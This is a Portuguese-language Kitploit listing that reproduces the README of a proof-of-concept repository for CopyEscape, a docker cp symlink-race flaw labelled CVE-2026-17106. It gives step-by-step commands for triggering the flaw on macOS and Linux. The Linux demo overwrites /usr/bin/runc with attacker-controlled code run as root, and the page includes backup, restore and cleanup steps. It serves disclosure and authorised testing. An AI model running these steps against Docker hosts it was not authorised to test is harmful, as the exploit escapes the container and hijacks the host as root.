Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CopyEscape-CVE-2026-17106 — Repositório de PoC para o post do blog CopyEscape: Assumindo o Controle de Hosts Docker com docker cp | Kitploit
Ferramentas/GitHubGitHub/masasron/copyescape-cve-2026-17106
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoRed TeamingEscape de ContêinerAtaque Adversário
GitHubmasasron/copyescape-cve-2026-17106

CopyEscape-CVE-2026-17106

Repositório de PoC para o post do blog CopyEscape: Assumindo o Controle de Hosts Docker com docker cp

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
23há 10 diasAinda não revisado

CopyEscape: Assumindo o controle de hosts Docker com docker cp (CVE-2026-17106)

Este é o repositório de prova de conceito para o post do blog CopyEscape: Assumindo o controle de hosts Docker com docker cp — CVE-2026-17106.

O CopyEscape permite que um container malicioso em execução corra contra o produtor de arquivos do Docker e crie um fluxo tar inconsistente. A CLI vulnerável do Docker pode então seguir um symlink plantado durante a extração e gravar fora do destino local selecionado pelo usuário que executa docker cp.

O repositório contém duas demonstrações:

  • macos/ contém uma demonstração não destrutiva do Docker Desktop que cria ~/pwnd no host macOS.
  • linux/ contém a demonstração Linux original de alto impacto que sobrescreve /usr/bin/runc e cria /imperva_red_team quando o runtime substituído é executado.

[!WARNING] Execute estes PoCs apenas em sistemas que você possui ou nos quais está explicitamente autorizado a testar. O PoC Linux substitui intencionalmente /usr/bin/runc; use uma VM descartável e faça um backup verificado antes de acioná-lo.

Requisitos

  • Uma versão vulnerável do Docker Engine ou Docker Desktop.
  • Um daemon Docker em execução.
  • Um shell com acesso à CLI do Docker.
  • Privilégios de root para a demonstração Linux de /usr/bin/runc.

Os PoCs foram desenvolvidos e testados contra Docker Engine/CLI 29.6.1 e Docker Desktop 4.81.0. Versões corrigidas devem rejeitar o arquivo malicioso ou concluir a cópia sem gravar fora do destino selecionado.

PoC para macOS: criar ~/pwnd

Esta demonstração tem como alvo o diretório home do usuário que executa a CLI do Docker. Ela se recusa a continuar se ~/pwnd ou o destino local file.txt já existir.

Execute:

root@kitploit:~
cd macos
./demo-macos.sh

O runner constrói a imagem, inicia o container preparado, confirma que /watched/file.txt parece ser um arquivo normal dentro dele e aciona:

root@kitploit:~
docker cp <demo-container>:/watched/file.txt ./file.txt

Em uma versão vulnerável do Docker Desktop, a cópia cria:

root@kitploit:~
~/pwnd

com o seguinte conteúdo:

root@kitploit:~
COPYESCAPE_MACOS_DEMO

Limpeza:

root@kitploit:~
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local

PoC para Linux: sobrescrever /usr/bin/runc

[!CAUTION] Esta demonstração torna temporariamente inutilizável o runtime do host Docker e executa uma substituição controlada pelo atacante como root. Use uma VM descartável. Depois que docker cp retornar, restaure runc antes de executar outro comando Docker.

Abra um shell como root e entre no diretório do PoC para Linux:

root@kitploit:~
sudo -s
cd linux

Crie e verifique um backup antes de iniciar o teste:

root@kitploit:~
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup

Construa a imagem:

root@kitploit:~
docker build -t copyescape-linux .

Inicie o container preparado no primeiro terminal:

root@kitploit:~
docker run --name copyescape-linux copyescape-linux

Em um segundo terminal como root, confirme que o caminho preparado parece um arquivo normal para um processo dentro do container:

root@kitploit:~
docker exec copyescape-linux cat /watched/file.txt

Saída esperada:

root@kitploit:~
top-level file

Dispare a vulnerabilidade:

root@kitploit:~
docker cp copyescape-linux:/watched/file.txt ./file.txt

Em uma versão vulnerável do Docker, /usr/bin/runc agora contém o script shell do PoC. A execução do runtime substituído cria o marcador pertencente ao root:

root@kitploit:~
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team

Restaure o runtime original imediatamente, antes de emitir outro comando Docker:

root@kitploit:~
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version

Depois que runc for restaurado e verificado, remova os artefatos de teste restantes:

root@kitploit:~
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team

Como funcionam as demonstrações

Ambos os PoCs expõem /watched/file.txt como um arquivo normal para processos em execução no container enquanto o daemon Docker vê um diretório subjacente. Durante a varredura do sistema de arquivos do Docker, o monitor substitui um diretório por um symlink absoluto preparado. O fluxo tar resultante contém o symlink seguido por uma entrada filha abaixo dele. Uma CLI Docker vulnerável cria o symlink e, em seguida, extrai o filho através dele para o sistema de arquivos do cliente.

A gravação final carrega as permissões do processo que executa docker cp.

Baixar ferramenta